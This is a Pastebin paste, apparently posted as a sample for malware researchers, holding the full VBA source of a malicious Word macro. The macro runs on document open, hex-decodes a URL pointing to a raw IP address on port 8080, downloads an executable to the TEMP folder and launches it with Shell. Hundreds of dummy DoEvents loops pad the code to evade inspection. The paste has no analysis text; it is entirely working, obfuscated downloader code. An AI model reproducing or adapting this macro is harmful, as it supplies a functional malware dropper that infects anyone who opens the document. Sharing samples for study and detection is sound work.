dynamoo

Malicious Word macro

Jan 15th, 2015
341
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  11.     "URLDownloadToFileA" (ByVal dsfdsfdsf As LongPtr, _
  12.     ByVal rtyeffg As String, _
  13.     ByVal fdger As String, _
  14.     ByVal reteruywer As Long, _
  15.     ByVal werwedsf As LongPtr) As LongPtr
  16. #Else
  17.     Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  18.     "URLDownloadToFileA" (ByVal dsfdsfdsf As Long, _
  19.     ByVal rtyeffg As String, _
  20.     ByVal fdger As String, _
  21.     ByVal reteruywer As Long, _
  22.     ByVal werwedsf As Long) As Long
  23. #End If
  24.  
  25.  
  26. Sub werwehytef()
  27. Dim QOBXhmAl As Integer
  28. For QOBXhmAl = 0 To 3
  29. Dim kXJALATO As Integer
  30. For kXJALATO = 0 To 5
  31. Dim DwptkYLg As Integer
  32. For DwptkYLg = 0 To 9
  33. DoEvents
  34. Next DwptkYLg
  35. DoEvents
  36. Next kXJALATO
  37. Dim tlwoFgep As Integer
  38. For tlwoFgep = 0 To 3
  39. DoEvents
  40. Next tlwoFgep
  41. DoEvents
  42. Next QOBXhmAl
  43. Dim vtRZaliF As Integer
  44. For vtRZaliF = 0 To 6
  45. Dim pHKvosSI As Integer
  46. For pHKvosSI = 0 To 4
  47. DoEvents
  48. Next pHKvosSI
  49. DoEvents
  50. Next vtRZaliF
  51. Dim flWdzivJ As Integer
  52. For flWdzivJ = 0 To 7
  53. DoEvents
  54. Next flWdzivJ
  55. sdfsdwee
  56. End Sub
  57. Sub AutoOpen()
  58. Dim VpUsliln As Integer
  59. For VpUsliln = 0 To 2
  60. Dim SAYlUiXp As Integer
  61. For SAYlUiXp = 0 To 6
  62. Dim XlKwlndr As Integer
  63. For XlKwlndr = 0 To 5
  64. DoEvents
  65. Next XlKwlndr
  66. DoEvents
  67. Next SAYlUiXp
  68. Dim NWWpsxNd As Integer
  69. For NWWpsxNd = 0 To 8
  70. DoEvents
  71. Next NWWpsxNd
  72. DoEvents
  73. Next VpUsliln
  74. Dim HrOinrOl As Integer
  75. For HrOinrOl = 0 To 6
  76. Dim MRKwlEzM As Integer
  77. For MRKwlEzM = 0 To 7
  78. DoEvents
  79. Next MRKwlEzM
  80. DoEvents
  81. Next HrOinrOl
  82. Dim VuWpsbFr As Integer
  83. For VuWpsbFr = 0 To 8
  84. DoEvents
  85. Next VuWpsbFr
  86.     werwehytef
  87. End Sub
  88. Sub Workbook_Open()
  89. Dim fkNGSJaZ As Integer
  90. For fkNGSJaZ = 0 To 1
  91. Dim vofHhwnj As Integer
  92. For vofHhwnj = 0 To 6
  93. Dim WZzOiENz As Integer
  94. For WZzOiENz = 0 To 1
  95. DoEvents
  96. Next WZzOiENz
  97. DoEvents
  98. Next vofHhwnj
  99. Dim UedLuKbT As Integer
  100. For UedLuKbT = 0 To 8
  101. DoEvents
  102. Next UedLuKbT
  103. DoEvents
  104. Next fkNGSJaZ
  105. Dim vrUjKxcT As Integer
  106. For vrUjKxcT = 0 To 6
  107. Dim fkaGOdrn As Integer
  108. For fkaGOdrn = 0 To 5
  109. DoEvents
  110. Next fkaGOdrn
  111. DoEvents
  112. Next vrUjKxcT
  113. Dim itRnfloL As Integer
  114. For itRnfloL = 0 To 3
  115. DoEvents
  116. Next itRnfloL
  117.     werwehytef
  118. End Sub
  119. Sub sdfsdwee()
  120. Dim nKOyHRKO As Integer
  121. For nKOyHRKO = 0 To 7
  122. Dim fjaGYIub As Integer
  123. For fjaGYIub = 0 To 1
  124. Dim DcXpaUZB As Integer
  125. For DcXpaUZB = 0 To 3
  126. DoEvents
  127. Next DcXpaUZB
  128. DoEvents
  129. Next fjaGYIub
  130. Dim nVumNXzZ As Integer
  131. For nVumNXzZ = 0 To 1
  132. DoEvents
  133. Next nVumNXzZ
  134. DoEvents
  135. Next nKOyHRKO
  136. Dim kLrEvRLI As Integer
  137. For kLrEvRLI = 0 To 2
  138. Dim KJSNNToS As Integer
  139. For KJSNNToS = 0 To 7
  140. DoEvents
  141. Next KJSNNToS
  142. DoEvents
  143. Next kLrEvRLI
  144. Dim SRhPEQft As Integer
  145. For SRhPEQft = 0 To 5
  146. DoEvents
  147. Next SRhPEQft
  148. HBBJK = BUHVugrue("6874")
  149. hkhnioki = BUHVugrue("74703A2F2F")
  150. hojdsfg = BUHVugrue("3133362E3234332E3233372E3230343A383038302F6D6F7073692F706F7073692E706870")
  151.     uyVUHjdg = HBBJK + hkhnioki + hojdsfg
  152. Dim lGxtiFPa As Integer
  153. For lGxtiFPa = 0 To 2
  154. Dim eEwdmMHl As Integer
  155. For eEwdmMHl = 0 To 5
  156. Dim QYosYDRG As Integer
  157. For QYosYDRG = 0 To 2
  158. DoEvents
  159. Next QYosYDRG
  160. DoEvents
  161. Next eEwdmMHl
  162. Dim vulxTzrl As Integer
  163. For vulxTzrl = 0 To 9
  164. DoEvents
  165. Next vulxTzrl
  166. DoEvents
  167. Next lGxtiFPa
  168. Dim uyvadHZZ As Integer
  169. For uyvadHZZ = 0 To 6
  170. Dim MYIgMYac As Integer
  171. For MYIgMYac = 0 To 1
  172. DoEvents
  173. Next MYIgMYac
  174. DoEvents
  175. Next uyvadHZZ
  176. Dim lSPogoeg As Integer
  177. For lSPogoeg = 0 To 6
  178. DoEvents
  179. Next lSPogoeg
  180.     oGYUIgiu = Environ(BUHVugrue("54454D50")) & BUHVugrue("5C5547766466672E657865")
  181. Dim AFzUlTGV As Integer
  182. For AFzUlTGV = 0 To 9
  183. Dim ysVaDJCV As Integer
  184. For ysVaDJCV = 0 To 7
  185. Dim lFAFtXdl As Integer
  186. For lFAFtXdl = 0 To 2
  187. DoEvents
  188. Next lFAFtXdl
  189. DoEvents
  190. Next ysVaDJCV
  191. Dim UtrTsIYm As Integer
  192. For UtrTsIYm = 0 To 5
  193. DoEvents
  194. Next UtrTsIYm
  195. DoEvents
  196. Next AFzUlTGV
  197. Dim NBASjVzj As Integer
  198. For NBASjVzj = 0 To 8
  199. Dim eRlvndEb As Integer
  200. For eRlvndEb = 0 To 6
  201. DoEvents
  202. Next eRlvndEb
  203. DoEvents
  204. Next NBASjVzj
  205. Dim kWWhUBVb As Integer
  206. For kWWhUBVb = 0 To 9
  207. DoEvents
  208. Next kWWhUBVb
  209.     eUUsdgf = URLDownloadToFile(0&, uyVUHjdg, oGYUIgiu, 0&, 0&)
  210.    Dim pHUdsfd
  211. Dim mAYkCQMj As Integer
  212. For mAYkCQMj = 0 To 8
  213. Dim TfgSUebU As Integer
  214. For TfgSUebU = 0 To 4
  215. Dim lIaKjaFk As Integer
  216. For lIaKjaFk = 0 To 2
  217. DoEvents
  218. Next lIaKjaFk
  219. DoEvents
  220. Next TfgSUebU
  221. Dim IBADqvaD As Integer
  222. For IBADqvaD = 0 To 5
  223. DoEvents
  224. Next IBADqvaD
  225. DoEvents
  226. Next mAYkCQMj
  227. Dim lFbXYkVq As Integer
  228. For lFbXYkVq = 0 To 2
  229. Dim bzGSzOfn As Integer
  230. For bzGSzOfn = 0 To 3
  231. DoEvents
  232. Next bzGSzOfn
  233. DoEvents
  234. Next lFbXYkVq
  235. Dim zFnLDitd As Integer
  236. For zFnLDitd = 0 To 6
  237. DoEvents
  238. Next zFnLDitd
  239.     pHUdsfd = Shell(oGYUIgiu, 1)
  240.  
  241. End Sub
  242.  
  243.  
  244. Public Function BUHVugrue(ByVal UJeTKZjRRErSpBP As String) As String
  245. For GAqVffe = 1 To Len(UJeTKZjRRErSpBP) Step 2
  246. Dim GCYINvKW As Integer
  247. For GCYINvKW = 0 To 9
  248. Dim GBcmygBP As Integer
  249. For GBcmygBP = 0 To 4
  250. Dim VBWAuLfD As Integer
  251. For VBWAuLfD = 0 To 7
  252. DoEvents
  253. Next VBWAuLfD
  254. DoEvents
  255. Next GBcmygBP
  256. Dim hXiYEAvI As Integer
  257. For hXiYEAvI = 0 To 2
  258. DoEvents
  259. Next hXiYEAvI
  260. DoEvents
  261. Next GCYINvKW
  262. Dim XupwfuAF As Integer
  263. For XupwfuAF = 0 To 5
  264. Dim nUCwEhDX As Integer
  265. For nUCwEhDX = 0 To 3
  266. DoEvents
  267. Next nUCwEhDX
  268. DoEvents
  269. Next XupwfuAF
  270. Dim RpNpxsby As Integer
  271. For RpNpxsby = 0 To 4
  272. DoEvents
  273. Next RpNpxsby
  274. OAEeSPJcZw = Chr(CDbl(Chr(38) & Chr(72) & Mid$(UJeTKZjRRErSpBP, GAqVffe, 2)))
  275. Dim DuDiCbga As Integer
  276. For DuDiCbga = 0 To 6
  277. Dim KYaocdyh As Integer
  278. For KYaocdyh = 0 To 1
  279. Dim WdSgkWrx As Integer
  280. For WdSgkWrx = 0 To 1
  281. DoEvents
  282. Next WdSgkWrx
  283. DoEvents
  284. Next KYaocdyh
  285. Dim OSNdzeBF As Integer
  286. For OSNdzeBF = 0 To 8
  287. DoEvents
  288. Next OSNdzeBF
  289. DoEvents
  290. Next DuDiCbga
  291. Dim pRddMWhq As Integer
  292. For pRddMWhq = 0 To 2
  293. Dim MxHzzJfz As Integer
  294. For MxHzzJfz = 0 To 1
  295. DoEvents
  296. Next MxHzzJfz
  297. DoEvents
  298. Next pRddMWhq
  299. Dim UVNdayDT As Integer
  300. For UVNdayDT = 0 To 1
  301. DoEvents
  302. Next UVNdayDT
  303. qwsEHVrtCMHkAS = qwsEHVrtCMHkAS & OAEeSPJcZw
  304. Next GAqVffe
  305. Dim JOHXGwzq As Integer
  306. For JOHXGwzq = 0 To 6
  307. Dim iMLSjCiD As Integer
  308. For iMLSjCiD = 0 To 6
  309. Dim ToNdaoAx As Integer
  310. For ToNdaoAx = 0 To 8
  311. DoEvents
  312. Next ToNdaoAx
  313. DoEvents
  314. Next iMLSjCiD
  315. Dim vCRVRgYG As Integer
  316. For vCRVRgYG = 0 To 6
  317. DoEvents
  318. Next vCRVRgYG
  319. DoEvents
  320. Next JOHXGwzq
  321. Dim iGddLVrz As Integer
  322. For iGddLVrz = 0 To 6
  323. Dim tqkMiOqQ As Integer
  324. For tqkMiOqQ = 0 To 3
  325. DoEvents
  326. Next tqkMiOqQ
  327. DoEvents
  328. Next iGddLVrz
  329. Dim JQZruVPf As Integer
  330. For JQZruVPf = 0 To 1
  331. DoEvents
  332. Next JQZruVPf
  333. BUHVugrue = qwsEHVrtCMHkAS
  334. End Function
RAW Paste Data